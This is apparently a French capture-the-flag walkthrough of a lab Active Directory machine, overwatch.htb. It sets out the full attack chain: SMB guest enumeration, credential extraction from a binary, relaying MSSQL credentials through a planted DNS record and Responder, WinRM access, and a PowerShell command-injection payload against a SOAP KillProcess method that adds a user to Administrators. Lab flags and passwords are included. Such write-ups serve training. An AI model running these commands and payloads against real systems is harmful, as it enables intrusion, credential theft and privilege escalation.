1. Reconnaissance
Scan Nmap révèle un domaine Active Directory overwatch.htb, machine S200401. Ports ouverts : DNS (53), Kerberos (88), LDAP (389, 636, 3268), SMB (445), RDP (3389), WinRM (5985), et un port MSSQL non standard (6520).
Commande
nmap -Pn -sV -p- 10.129.1.48 -T5Résultat
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: overwatch.htb)
445/tcp open microsoft-ds?
3389/tcp open ms-wbt-server Microsoft Terminal Services
5985/tcp open http Microsoft HTTPAPI httpd 2.0
6520/tcp open ms-sql-s Microsoft SQL Server 20222. Accès SMB (guest)
Authentification guest sans mot de passe fonctionne. Énumération des partages et des RID du domaine.
Commande
nxc smb overwatch.htb -u 'guest' -p '' --sharesRésultat
SMB 10.129.5.218 445 S200401 [+] overwatch.htb\guest:
Share Permissions Remark
----- ----------- ------
ADMIN$ Remote Admin
C$ Default share
IPC$ READ Remote IPC
NETLOGON Logon server share
software$ READ
SYSVOL Logon server sharePartage software$ en lecture. Énumération RID pour lister utilisateurs et groupes du domaine.
Commande
nxc smb overwatch.htb -u 'guest' -p '' --rid-bruteNombreux utilisateurs (Charlie.Moss, Tracy.Burns, etc.) et groupes, notamment sqlsvc (RID 1104) et sqlmgmt (1105).
3. Extraction de credentials (overwatch.exe)
Téléchargement du contenu du partage software$ via smbclient. Le dossier Monitoring contient overwatch.exe et des DLLs.
Commande
smbclient //overwatch.htb/software\$ -U 'guest%'
smb: \> recurse ON
smb: \> prompt OFF
smb: \> mget *Analyse du binaire avec strings pour chercher des mots de passe en clair.
Commande
strings -el overwatch.exe | grep -i "pass"Résultat
Server=localhost;Database=SecurityLogs;User Id=sqlsvc;Password=TI0LKcfHzZw1Vv;Chaîne de connexion MSSQL trouvée : sqlsvc / TI0LKcfHzZw1Vv.
4. Accès MSSQL (sqlsvc)
Connexion à MSSQL sur le port 6520 avec les identifiants extraits.
Commande
nxc smb overwatch.htb -u 'sqlsvc' -p 'TI0LKcfHzZw1Vv'Résultat
SMB 10.129.5.218 445 S200401 [+] overwatch.htb\sqlsvc:TI0LKcfHzZw1VvConnexion MSSQL (port 6520)
mssqlclient.py sqlsvc:'TI0LKcfHzZw1Vv'@10.129.1.48 -port 6520 -windows-authRésultat
[*] Encryption required, switching to TLS
[*] INFO(S200401\SQLEXPRESS): Changed database context to 'master'.
SQL (OVERWATCH\sqlsvc guest@master)>5. Capture NTLM via linked server
Tentative de capture NTLM via xp_dirtree vers notre serveur SMB. La première tentative avec le compte machine S200401$ ne donne rien d’exploitable. On utilise bloodyAD pour ajouter un enregistrement DNS pointant vers notre IP, puis on configure un linked server vers ce nom.
Commande (ajout DNS record)
bloodyAD --host 10.129.1.48 --domain overwatch.htb -u sqlsvc -p 'TI0LKcfHzZw1Vv' add dnsRecord SQL07 10.10.16.23Résultat
[+] SQL07 has been successfully addedLancement de Responder avec -wFdv pour capturer les requêtes MSSQL. Depuis MSSQL, exécution d’une requête vers le linked server SQL07.
Depuis mssqlclient
EXEC ('SELECT 1') AT SQL07;Résultat (Responder)
[MSSQL] Received connection from 10.129.1.48
[MSSQL] Cleartext Client : 10.129.1.48
[MSSQL] Cleartext Hostname : SQL07 ()
[MSSQL] Cleartext Username : sqlmgmt
[MSSQL] Cleartext Password : bIhBbzMMnB82yxCredentials MSSQL capturés en clair : sqlmgmt / bIhBbzMMnB82yx.
6. Accès WinRM (sqlmgmt)
Connexion WinRM avec sqlmgmt.
Commande
nxc winrm 10.129.1.48 -u sqlmgmt -p 'bIhBbzMMnB82yx'Résultat
WINRM 10.129.1.48 5985 S200401 [+] overwatch.htb\sqlmgmt:bIhBbzMMnB82yx (Pwn3d!)Connexion WinRM (evil-winrm)
evil-winrm-py -i 10.129.1.48 -u sqlmgmt -p 'bIhBbzMMnB82yx'Lecture user.txt
cat ../Desktop/user.txtRésultat
d583ad30ff2ae368008fcfb525bce6ce7. Élévation de privilèges – Injection PowerShell
Découverte d’un service SOAP MonitoringService sur le port 8000 (écoute locale). Analyse du WSDL révèle une méthode KillProcess qui prend un nom de processus en paramètre.
Commande
netstat -ano | findstr 8000Résultat
TCP 0.0.0.0:8000 0.0.0.0:0 LISTENING 4Récupération WSDL
curl "http://localhost:8000/MonitorService?wsdl" -UseBasicParsingLe service expose KillProcess(processName). Si le serveur utilise directement le paramètre dans une commande PowerShell (ex. Stop-Process -Name $processName), on peut injecter du code via le séparateur ;.
Script PowerShell d'exploitation
$Url = "http://localhost:8000/MonitorService"
$Action = "http://tempuri.org/IMonitoringService/KillProcess"
$Payload = "notepad; net localgroup administrators sqlmgmt /add"
$Body = @"
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
<s:Body>
<KillProcess xmlns="http://tempuri.org/">
<processName>$Payload</processName>
</KillProcess>
</s:Body>
</s:Envelope>
"@
Invoke-WebRequest -Uri $Url -Method Post -ContentType "text/xml; charset=utf-8" -Body $Body -Headers @{"SOAPAction" = $Action}Le payload injecte net localgroup administrators sqlmgmt /add pour ajouter sqlmgmt au groupe Administrators. Vérification puis reconnexion WinRM pour accéder au Desktop de l’Administrator.
Vérification
net localgroup administrators | select-string "sqlmgmt"Lecture root.txt
type C:\Users\Administrator\Desktop\root.txtRésultat
ac5bd179d0b76900076d7815301375ffRécap
- Recon : AD overwatch.htb, SMB guest, partage software$
- Extraction : strings sur overwatch.exe → sqlsvc / TI0LKcfHzZw1Vv
- MSSQL : connexion sur port 6520 avec sqlsvc
- DNS : bloodyAD pour ajouter SQL07 → notre IP
- Capture : linked server MSSQL vers SQL07 → credentials sqlmgmt en clair
- WinRM : connexion avec sqlmgmt → user.txt
- Privesc : injection PowerShell dans MonitoringService (KillProcess) → ajout à Administrators
- Flags : root.txt via Administrator